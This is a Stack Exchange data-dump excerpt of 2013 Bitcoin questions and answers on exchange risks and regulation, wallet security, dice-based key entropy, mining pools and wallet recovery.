  <row Id="17009" PostTypeId="2" ParentId="17005" CreationDate="2013-11-21T13:15:49.460" Score="2" Body="&lt;p&gt;Well there are certainly a lot of people making money like that. But you should be aware of a few things: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;1st BTC is a high risk investment so you can easily loose all the money you invested for a couple of reasons. So don't invest any money that you need. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;2nd money on a Bitcoin exchange is not equals money in your bank account. In fact it can be very difficult to transfer money from an exchange back to your bank account, depending on which exchange you are using and where you live. &lt;/p&gt;&#xA;" OwnerUserId="4679" LastActivityDate="2013-11-21T13:15:49.460" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17010" PostTypeId="2" ParentId="17007" CreationDate="2013-11-21T13:27:59.463" Score="25" Body="&lt;p&gt;Is there space for me on your team?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have spent most of this year trying to answer the same question, starting with the recognition that I could solve all the technical aspects (web programming, Bitcoin handling, trading engine, server security, etc.).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Technically, you need a website and a trading engine that matches buyers and sellers. Whilst there are lots of pitfalls---I cannot imagine a better target for cybercriminals than a bitcoin exchange storing lots of online withdraw-able virtual and real currency---all of this has adequate solutions. Not easy ones, as the technical problems occasionally seen at competitors appear to include layer 7 DDOS attacks and some have fallen pray to not storing their clients' bitcoin securely offline (and with adequate internal handling protocols), but this is really not the part I'd consider difficult to do better. To give pointers: Bitfloor is a company that fell victim to this (going out of business over it), whilst MtGox experienced it yet was able to stay in business.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The key problem is the legal aspect of your operation. The bitcoin exchanges you mention work slightly different then, say, an online stock market exchange. The later will basically negotiate contracts, leaving the participating financial institutions to settle these. It all needs lots of regulation to work, and even so the regulators (e.g. the SEC in the U.S.) are needed all the time to settle and fine disputes. Bitcoin exchanges usually require customers to make deposits. This avoids the settlement risk, but, in the eyes of many regulators (not just the SEC, but, so far and in the U.S., FinCEN and state agencies) puts them in a category with money transmitting companies like Western Union, for which there exists alot of costly and time-consuming licensing requirements. The basic idea is to safeguard customers from mishaps at the company, guaranteeing that there is money to pay them from. Today's law enforcement appears to go significantly beyond this rationale behind the law; in the case of MtGox, a US-bank account associated with them was seized for forfeiture to the government for unlicensed operation. You might think this perverts the idea of protecting the customer from a loss of those funds. I've looked into legislation in the U.S., Germany, and the U.K., and it seems that out of these, only with customers from the U.K. at least the national regulator for the money transmitting aspect does not jump to the view that you need a nearly unobtainable license (status as of this spring, with a warning that this view might change if Bitcoin were to grow so much that it would start being used &quot;as money&quot;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next, you are potentially exposed to alot of fraud. Bitcoin works so well in being final and potentially anonymous that it seems to attract criminals who manage to make banks transfer money but need a way to launder such funds. You can expect that banks will start to notice a statistical association of your business with frequently disputed or outright illicit transactions. Several bitcoin exchanges have lost their bank accounts, presumably over this kind of issue, including MtGox' original EU bank account, Intersango's UK banking, and bitcoin-24's German banking. Fortunately, I think I have read articles claiming that three banks (in Silion Valley, NY, and Munich) have come out as supporting bitcoin exchange businesses if they implement rigorous anti-money laundering rules. I don't have links ready but could probably find them quickly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, you'll need someone to understand and deal with anti-money-laundering rules and anti-terrorism financing. When I read the laws about these, it sounds to me that you have to do just about everything that you'd think any democratic constitution would prohibit, like spying on your customers, acting on suspicion, keeping parts of the government well-informed and lying to other parts of the government. I'm not joking; see &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/131/what-is-the-current-legal-status-of-bitcoin-around-the-world/13931#13931&quot;&gt;another answer from me&lt;/a&gt;. However, these rules obviously have a good reason, and that is not to allow any terrorist, criminal, UN-sanctioned person or entity, etc., to move money or related things of value. I suspect with a bit of guesswork they also explain some of the beef some banks have had with bitcoin exchanges in the past, and their tight-lipped attitude about it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it needs spelling out: Following anti-money laundering rules includes identifying your customers (often in the UK way of requiring photo ID and a utility bill), making sure they come from places you are licensed to do business in, checking that they are not on a blacklist, ensuring that data you could be expected to look at do not make them look suspicious. This, and the change of perception of Bitcoin by regulators from something not worth noticing to something to keep an eye on seems to be reason why the existing bitcoin exchanges now all require ID.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I still want to build a bitcoin exchange or a functionally similar alternative. But I need support in dealing with all the legal aspects; getting it right or raising the large sums of money and having the 2 years or so patience for getting licensed in larger US states is beyond what I can do on my own. Again, is there room for one more in your team?&lt;/p&gt;&#xA;" OwnerDisplayName="user6049" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.647" LastActivityDate="2014-03-20T11:12:32.183" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="17011" PostTypeId="2" ParentId="17005" CreationDate="2013-11-21T13:42:18.467" Score="2" Body="&lt;p&gt;It would seem alot of people may have made money with it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the other hand, you are prone to alot of risks. Many bitcoin exchanges have gone bankcrupt, after having their clients' bitcoins stolen or after being accused of various crimes, typically violating anti-money laundering rules or failing to have the proper government licenses for handling money in the way they do. And their banks often seem to limit their transactions, meaning that getting money on to an exchange and back off again can often be surprisingly difficult.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also consider that nobody knows if Bitcoin is here to stay or if it is just another manifestation of the famous &lt;a href=&quot;https://en.wikipedia.org/wiki/Tulip_mania&quot; rel=&quot;nofollow&quot;&gt;Tulip bubble&lt;/a&gt;. If you view it as a big gamble, be prepared to lose all, either by hanging on to it until Bitcoin become valueless (say because something better or more fashionable appears) or by buying high and selling low (if you try to avoid the other alternative by selling, only to see the price rebound).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In any case, good luck!&lt;/p&gt;&#xA;" OwnerDisplayName="user6049" LastActivityDate="2013-11-21T13:42:18.467" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17012" PostTypeId="1" CreationDate="2013-11-21T13:43:00.300" Score="1" ViewCount="213" Body="&lt;p&gt;I am trying to do the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Have a daemon running on a server&lt;/li&gt;&#xA;&lt;li&gt;That daemon exposes an API (Json, etc...)&lt;/li&gt;&#xA;&lt;li&gt;I can call that API from localhost with:&#xA;1: Address From&#xA;2: Address To&#xA;3: Key for Address From&lt;/li&gt;&#xA;&lt;li&gt;The daemon creates a valid transaction using the unspent outputs, signs the transaction using the key, and broadcasts it to the network, then forgets about the key.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I don't want the daemon to store the private key (stateless) and sign transactions on-demand. The daemon should be as light as possible (if possible, use less than 256 MB of RAM).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I looked at Bitcoind but it doesn't seem to provide that kind of API, since I either need to setup the wallet with the private key beforehand (not stateless) or build the raw transaction from scratch, and I don't want to have to figure out the outputs to use, format of the raw transaction, etc...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's the easiest way to achieve this?&lt;/p&gt;&#xA;" OwnerUserId="2716" LastActivityDate="2013-11-21T13:43:00.300" Title="Stateless bitcoin daemon for server, capable of signing transactions" Tags="|bitcoind|client|api|json-rpc|server|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17013" PostTypeId="1" AcceptedAnswerId="17047" CreationDate="2013-11-21T14:03:45.357" Score="3" ViewCount="592" Body="&lt;p&gt;Dice do have imperfections (depending on how expensive ones you get), but would they not still have enough entropy such that a private key generated by them could be considered really safe? I am thinking of paper wallets storing lots of coins, potentially.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would short circuit the problems with the implementations of random number generators on computers (the recent Android bug, and the Debian bug between 2006 and 2008)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.debian.org/security/2008/dsa-1571&quot; rel=&quot;nofollow&quot;&gt;http://www.debian.org/security/2008/dsa-1571&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If a die is missing a side one would notice, so they are a lot easier to inspect for big errors than computer code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, how much would imperfections in dice lower the entropy? Could you just calculate with a lower base, e.g. 5.765*&lt;em&gt;N rather than 6&lt;/em&gt;*N with a perfect die (5.765 then being a measurement of imperfection of a specific die).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: maybe rather 6**(N-x), where x are the extra occurrences of one number.&lt;/p&gt;&#xA;" OwnerUserId="8644" LastEditorUserId="8644" LastEditDate="2013-11-21T16:21:45.090" LastActivityDate="2013-11-22T16:00:04.410" Title="Do imperfections in dice make them unsuitable to make really good bitcoin private keys?" Tags="|private-key|" AnswerCount="2" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="17014" PostTypeId="1" AcceptedAnswerId="17015" CreationDate="2013-11-21T14:55:47.927" Score="1" ViewCount="3575" Body="&lt;p&gt;I have an offline wallet created by Bitcoin-QT.&#xA;I want to send &lt;strong&gt;some&lt;/strong&gt; of the bitcoins in this wallet to another address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The most secure way I can think of is this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Boot from a Linux Live CD&lt;/li&gt;&#xA;&lt;li&gt;Install Bitcoin-qt and let Bitcoin-QT sync with the network&lt;/li&gt;&#xA;&lt;li&gt;Import the wallet to Bitcoin-QT and send bitcoins&lt;/li&gt;&#xA;&lt;li&gt;Save the wallet because of the change (&lt;a href=&quot;https://en.bitcoin.it/wiki/Change&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Change&lt;/a&gt;) which was sent to a new created address in the wallet&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;But what happens if between step 3. and 4. your computer crashes?&#xA;All bitcoins which should be left in your wallet are lost.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a more secure way of sending bitcoins from your offline wallet with Bitcoin-QT?&#xA;If not, whats the most secure way to do this in general?&lt;/p&gt;&#xA;" OwnerUserId="9078" LastActivityDate="2023-03-28T21:19:04.097" Title="Most secure way of sending bitcoins from bitcoin-qt offline wallet" Tags="|wallet|security|bitcoin-core|sending|change|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17015" PostTypeId="2" ParentId="17014" CreationDate="2013-11-21T15:25:16.520" Score="0" Body="&lt;p&gt;I don't think that is really a problem, but first of all why do you want to use a Linux Live boot? Is that to disable possibly installed malware? When you send your transaction make sure that you install your temporary bitcoin client on a persistent drive, e.g. not on the computers RAM (this will take a lot of time, so better clear out your computer instead of this approach). Your private key will be generated &lt;strong&gt;before&lt;/strong&gt; you send your transaction, so you can't lose it when power shuts of.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This won't save you of course when power shuts down &lt;strong&gt;and&lt;/strong&gt; your hard-drive crashes at the same moment, but when you are dealing with large amounts of bitcoins you could probably use some RAID configuration (e.g. RAID-1) for your hard-drives and still be fine. Or you could buy an external power source as backup.&lt;/p&gt;&#xA;" OwnerUserId="7043" LastActivityDate="2013-11-21T15:25:16.520" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17016" PostTypeId="2" ParentId="16991" CreationDate="2013-11-21T15:28:24.417" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Remember that the sender pays a fee.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;That seems to be your problem. According to &lt;a href=&quot;https://en.bitcoin.it/wiki/Transaction_fees&quot; rel=&quot;nofollow&quot;&gt;this info&lt;/a&gt;, if your transaction output is smaller than &lt;code&gt;0.01 BTC&lt;/code&gt;, you need to pay a minimum &lt;code&gt;0.0001 BTC&lt;/code&gt; transaction fee. Since you only have &lt;code&gt;0.00008 BTC&lt;/code&gt;, there are not enough funds to make the transaction (note also that the minimum fee is over 6x the amount you're trying to transfer, so it might not be a good idea to do so).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for your other question, your game seems to be uniquely identified by that URL, so sharing the link would allow someone else to continue the game for you (and lose &lt;strong&gt;your&lt;/strong&gt; money). I'm not really sure how the mechanism behind this works, though...&lt;/p&gt;&#xA;" OwnerUserId="5887" LastActivityDate="2013-11-21T15:28:24.417" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17017" PostTypeId="2" ParentId="16982" CreationDate="2013-11-21T16:03:56.413" Score="1" Body="&lt;p&gt;If you look at the multibit.org help page there is a support page specifically for &lt;a href=&quot;https://multibit.org/en/help/v0.5/help_support_missingWallets.html&quot; rel=&quot;nofollow&quot;&gt;'lost wallets'&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It tells you the directory where the default wallet is stored. (This is operating system specific)&lt;/p&gt;&#xA;" OwnerUserId="888" LastEditorUserId="5406" LastEditDate="2014-03-06T09:03:47.217" LastActivityDate="2014-03-06T09:03:47.217" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17018" PostTypeId="1" CreationDate="2013-11-21T16:23:11.917" Score="2" ViewCount="289" Body="&lt;p&gt;Lets pretend theres a fantasy world where I can produce an infinite amount of hashes no time at all...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the next biggest bottleneck for bitcoin mining?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it the bitcoin client? Is the client multi-threaded?&#xA;How many requests per second can I send into a bitcoin client for trying hashes?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or will it be another factor?&lt;/p&gt;&#xA;" OwnerUserId="9038" LastEditorUserId="5406" LastEditDate="2016-03-31T17:00:37.663" LastActivityDate="2016-03-31T17:00:37.663" Title="What would be the second greatest bottleneck in the mining process? after the hash generation of course." Tags="|development|mining-theory|bandwidth|block-propagation-time|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17020" PostTypeId="1" CreationDate="2013-11-21T16:39:13.293" Score="0" ViewCount="201" Body="&lt;p&gt;After the rate at which you can generate hashes, what determines the rate at which you can send hashes to be checked?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm guessing connecting into a bigger pool would help spread your load?&lt;/p&gt;&#xA;" OwnerUserId="9038" LastEditorUserId="5406" LastEditDate="2016-04-28T13:27:25.840" LastActivityDate="2016-04-28T13:27:25.840" Title="In order to send more hashes for mining do you need to connect into a bigger mining pool?" Tags="|mining-pools|hashpower|mining-pool-shares|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17022" PostTypeId="1" CreationDate="2013-11-21T19:07:14.653" Score="1" ViewCount="510" Body="&lt;p&gt;I came across this in the source code for ECKey.java:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Represents an elliptic curve public and (optionally) private key, usable for digital signatures &lt;strong&gt;but not encryption&lt;/strong&gt;.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why can you not encrypt with it? It would be useful to be able to do that, for instance you could write a message to someone that only they can read. Is it a fundamental problem or simply a matter of man hours to implement it? (I'm happy to write it if it's possible.)&lt;/p&gt;&#xA;" OwnerUserId="5669" LastActivityDate="2016-09-03T11:10:48.377" Title="BitcoinJ encrypt message" Tags="|encryption|bitcoinj|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17023" PostTypeId="2" ParentId="17020" CreationDate="2013-11-21T19:08:56.230" Score="1" Body="&lt;p&gt;The difficulty determines how many hashes it takes for you to produce a share. Most modern mining pools will raise the difficulty as your hash rate increases. The idea is to keep your share generation rate roughly constant, regardless of your hashing rate. This allows the mining pool to still accurately measure your hash rate, still collect an actual block should you find one, but not have to process an absurdly large number of shares. Even a small pool can handle a client with an extremely high hashing rate. It's not more difficult, so long as you aren't using obsolete protocols like &quot;getwork&quot;.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-11-21T19:08:56.230" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17024" PostTypeId="2" ParentId="12884" CreationDate="2013-11-21T19:46:30.050" Score="1" Body="&lt;p&gt;I'm unfamiliar with running bitcoin-qt on Windows. However, on OS X the wallet.dat file is &lt;em&gt;not&lt;/em&gt; located in the application directory (in fact, for any multi-user OS that'd be a pretty dumb place to put it, unless everyone is expected to share the same wallet). There should be an &quot;Application Data&quot; or similary directory in your H:\Users\ directory that will contain your wallet.dat file. Also, unless it's been deleted, you can use Windows search feature to search the drive for the file in question.&lt;/p&gt;&#xA;" OwnerUserId="9100" LastActivityDate="2013-11-21T19:46:30.050" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17027" PostTypeId="1" CreationDate="2013-11-21T20:44:00.873" Score="1" ViewCount="315" Body="&lt;p&gt;When computers are mining now, they're actually trying to break nonsense codes. Can't all that processing power be used to do better things with like &#xA;&lt;a href=&quot;http://www.gridrepublic.org&quot; rel=&quot;nofollow&quot;&gt;gridrepublic&lt;/a&gt; etc.?&lt;/p&gt;&#xA;" OwnerUserId="9102" LastEditorUserId="5406" LastEditDate="2016-04-01T09:04:41.720" LastActivityDate="2016-04-01T09:04:41.720" Title="Can't we use all the mining/processing power to calculate useful stuff?" Tags="|mining-theory|mining-technical-details|" AnswerCount="1" CommentCount="1" ClosedDate="2013-11-23T10:00:04.077" ContentLicense="CC BY-SA 3.0" />
  <row Id="17028" PostTypeId="1" AcceptedAnswerId="17043" CreationDate="2013-11-21T20:54:51.310" Score="1" ViewCount="1923" Body="&lt;p&gt;I've forgotten my wallets password.  Luckly I haven't got any bitcoins yet, still reading about bitcoins.  My question is, now do I reset or create a new password for my wallet?&lt;/p&gt;&#xA;" OwnerUserId="4823" LastActivityDate="2021-12-03T16:29:56.847" Title="Forgotten wallet password (bitcoin-qt)" Tags="|wallet|bitcoin-core|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17031" PostTypeId="1" AcceptedAnswerId="17041" CreationDate="2013-11-21T22:05:19.037" Score="0" ViewCount="1544" Body="&lt;p&gt;What happens if while mining, you lose internet connection?  Do you lose all the work your computer has done, or is something like bitcoin-plus smart enough to post the data across when the internet connection has been re-established again?&lt;/p&gt;&#xA;" OwnerUserId="4823" LastEditorUserId="5406" LastEditDate="2016-04-28T13:24:35.933" LastActivityDate="2016-04-28T13:24:35.933" Title="Browser based mining" Tags="|mining-pools|network|mining-theory|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17032" PostTypeId="1" CreationDate="2013-11-21T22:16:31.013" Score="1" ViewCount="328" Body="&lt;p&gt;I know with &lt;code&gt;bitcoind&lt;/code&gt;, you can easily start the daemon and call some commands.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But with &lt;code&gt;armoryd&lt;/code&gt;, I start it up with a wallet argument. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are some examples of using the JSON-RPC to call a method for it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, with &lt;code&gt;bitcoind&lt;/code&gt; I can type in my shell:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoind listaccounts&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there a easy way to get my &lt;code&gt;armoryd&lt;/code&gt; daemon to do the same?&lt;/p&gt;&#xA;" OwnerUserId="9105" LastEditorUserId="22837" LastEditDate="2015-02-20T06:22:40.930" LastActivityDate="2015-02-20T06:22:40.930" Title="Calling JSON commands to armoryd" Tags="|bitcoind|armory|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17033" PostTypeId="1" AcceptedAnswerId="17042" CreationDate="2013-11-21T22:20:40.290" Score="1" ViewCount="873" Body="&lt;p&gt;There are so many exchanges and local exchanges out there. If I want to buy a bitcoin, how do you decide which value to go by? Some of these exchanges vary from few dollars to $200 difference. I know that it is always fluctuating and many times eventually balances out but how do you determine the price that should be paid?&lt;/p&gt;&#xA;" OwnerUserId="9107" LastEditorUserId="5406" LastEditDate="2013-11-22T02:10:51.527" LastActivityDate="2013-11-23T08:47:06.347" Title="Which rate is the best rate to go by for Bitcoin prices" Tags="|exchanges|exchange-rate|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17034" PostTypeId="1" CreationDate="2013-11-21T22:29:40.787" Score="1" ViewCount="405" Body="&lt;p&gt;As I understand, the safest way to keep your bitcoins is to have them in cold storage. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;After reading a few articles I just wanted to make sure the technique I will use will allow me to pull my bitcoins out of storage whenever I want:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Boot up a computer using a linux live cd that is not connected to the internet&#xA;2) Transfer a copy of armory over using a USB stick&#xA;3) Generate a new wallet and 1 address. Encrypt it, and keep a paper backup of it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can now send all bitcoin 'savings' to the 1 address that the wallet has, and even if the computer that made the wallet is destroyed I can still recover the wallet from anywhere (even if I didn't copy the wallet file anywhere) because I have a paper backup?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I understand it this should work?&lt;/p&gt;&#xA;" OwnerUserId="9108" LastActivityDate="2014-04-21T03:31:47.643" Title="Are my bitcoins safe?" Tags="|wallet|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17035" PostTypeId="1" AcceptedAnswerId="18195" CreationDate="2013-11-21T22:40:51.433" Score="1" ViewCount="6718" Body="&lt;p&gt;I am a web developer and looking for well written technical documents about how bitcoin/litecoin works, what is the workflow, what is the algorithm and how can I write a miner from scratch by using JavaScript (or similar).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It will be a kind of hobby/portfolio project, so I am not worrying about the performance and the other possible issues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="9110" LastActivityDate="2013-12-07T07:59:42.603" Title="Creating a bitcoin/litecoin miner with Javascript" Tags="|client|development|algorithms|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17036" PostTypeId="2" ParentId="17034" CreationDate="2013-11-21T22:42:43.650" Score="1" Body="&lt;p&gt;That seems right except there are some gotchas if you try to spend from your paper wallet.  The &quot;change&quot; will go to you another address and the paper backup address will be empty.  This should not be an issue with Armory though because it has deterministic addresses.  Be sure to follow the instructions carefully.&lt;/p&gt;&#xA;" OwnerUserId="4708" LastActivityDate="2013-11-21T22:42:43.650" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17037" PostTypeId="2" ParentId="17035" CreationDate="2013-11-21T23:16:22.410" Score="2" Body="&lt;p&gt;Why reinvent the wheel?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think there are several simple javascript miners out there, so I won't bother telling you more than to google it (or to duckduckgo it, if you prefer).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But whilst we are at it: Would you believe people have gone far beyond it and found a way to program a javascript-based miner using GPUs, as pointed out in &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/10320/how-useful-is-a-javascript-miner/10327#10327&quot;&gt;an answer on bitcoin.stackexchange&lt;/a&gt;? That project is &lt;a href=&quot;https://code.google.com/p/hamiyoca/&quot; rel=&quot;nofollow noreferrer&quot;&gt;hosted here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerDisplayName="user6049" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.647" LastActivityDate="2013-11-21T23:16:22.410" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17040" PostTypeId="1" AcceptedAnswerId="17044" CreationDate="2013-11-21T23:29:05.200" Score="1" ViewCount="440" Body="&lt;p&gt;Satoshi Nakamoto wrote the theory about Bitcoin in his paper, but did he (or they) also launch the Bitcoin blockchain?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Like: Peter Higgs founded the Higgs particle in theory, but he didn't find the actual particle...&lt;/p&gt;&#xA;" OwnerUserId="7618" LastEditorUserId="5406" LastEditDate="2022-12-14T15:46:15.017" LastActivityDate="2022-12-14T15:46:15.017" Title="Who created the Bitcoin blockchain?" Tags="|history|satoshi-nakamoto|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17041" PostTypeId="2" ParentId="17031" CreationDate="2013-11-21T23:32:18.913" Score="2" Body="&lt;p&gt;The work done when mining is not accumulated over time.  Each hash calculated is independent from the others.  Think of mining as repeatedly rolling a huge die and trying to get an extremely low number, instead of working towards a solution of a complex problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If a miner loses connection to the internet, it will be unable to submit work during this time period.  Work done during the outage may or may not be stale (too old to submit) when connectivity returns.  However, no &lt;strong&gt;previous&lt;/strong&gt; work will be lost, as this work would have already been submitted immediately to a pool/the bitcoin network if it was useful. &lt;/p&gt;&#xA;" OwnerUserId="3067" LastActivityDate="2013-11-21T23:32:18.913" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17042" PostTypeId="2" ParentId="17033" CreationDate="2013-11-21T23:39:59.853" Score="2" Body="&lt;p&gt;Mtgox's price is high because it is difficult (if paying a 5% &quot;emergency withdraw&quot; fee) to impossible (if not paying a fee) to withdraw USD.  This makes USD on Mtgox less valuable than cash in hand, and therefore bitcoins are worth more in terms of &quot;Mtgox USD&quot; than real USD.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BTCChina's price has been high recently due to huge demand in China and capital controls that make it difficult for arbitrageurs to move USD or CNY out of the country.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When deciding on a fair price, it is best to use the price someone would get if they used the most convenient exchange in their country.  In the US, Coinbase or Bitstamp's rate makes sense.  In Europe, Bitstamp is the best option, and in China, a Chinese exchange would be more appropriate. &lt;/p&gt;&#xA;" OwnerUserId="3067" LastActivityDate="2013-11-21T23:39:59.853" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17043" PostTypeId="2" ParentId="17028" CreationDate="2013-11-21T23:44:44.050" Score="3" Body="&lt;p&gt;There is no way to reset your wallet's password, as Bitcoin-qt is a local application, not an online service.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your case, as you have not sent any coins to your wallet, you can delete your wallet and create a new one with a new password.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your wallet.dat file is located in:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C:\Users\YourUserName\Appdata\Roaming\Bitcoin (Vista/Win7)&#xA;C:\Documents and Settings\YourUserName\Application data\Bitcoin (Win XP)&#xA;~/.bitcoin/ (Linux)&#xA;~/Library/Application Support/Bitcoin/ (OSX)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Be careful, and make sure to use a password you can remember or store offline in a secure location next time.&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="3067" LastActivityDate="2013-11-21T23:44:44.050" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17044" PostTypeId="2" ParentId="17040" CreationDate="2013-11-21T23:50:34.580" Score="5" Body="&lt;p&gt;Satoshi did start the blockchain.  The first block, known as the genesis block, is embedded in the source code of the reference bitcoin client.  The rest of the blockchain is built on top of this block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The genesis block contains the headline &quot;The Times 03/Jan/2009 Chancellor on brink of second bailout for banks&quot; to prove that the genesis block was created on or after Jan 3, 2009, and that Satoshi was not working on mining a longer blockchain in secret prior to this date.&lt;/p&gt;&#xA;" OwnerUserId="3067" LastActivityDate="2013-11-21T23:50:34.580" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17045" PostTypeId="1" CreationDate="2013-11-22T00:06:37.093" Score="-3" ViewCount="499" Body="&lt;p&gt;Okay, I'm wondering what's going on here. I recently synced my wallet after ordering some bitcoins, but I never received them. The guy who sent them to me, sent me the blockchain address. So, I don't think he scammed me, but here is the thing:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking at &lt;a href=&quot;https://blockchain.info/tx/ffb1eab51b0eafac05145fc6b47852022538471236d97b955ec84aa15d2a1ac7&quot; rel=&quot;nofollow&quot;&gt;the transaction&lt;/a&gt;, on the sending side (the left) is his address and on the receiving side (the right) is mine, but also his address again under which it says &quot;spent&quot;. Does that mean he has spent the coins before I received them and I won't get them? Or does it mean, they should be with me and my client is faulty? I was not sure, so I have de-installed the client and reinstalled it, then imported the backup file. I guess, I will soon know, whether it was a fault of my bitcoin client or another issue. However, it said it was connected before, but I never received the bitcoins, so I don't know. What do you think could have happened?&lt;/p&gt;&#xA;" OwnerUserId="9117" LastEditorUserId="5406" LastEditDate="2013-11-22T01:56:14.673" LastActivityDate="2013-11-23T12:30:55.003" Title="Will I get my bitcoins have I been scammed?" Tags="|synchronization|change|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
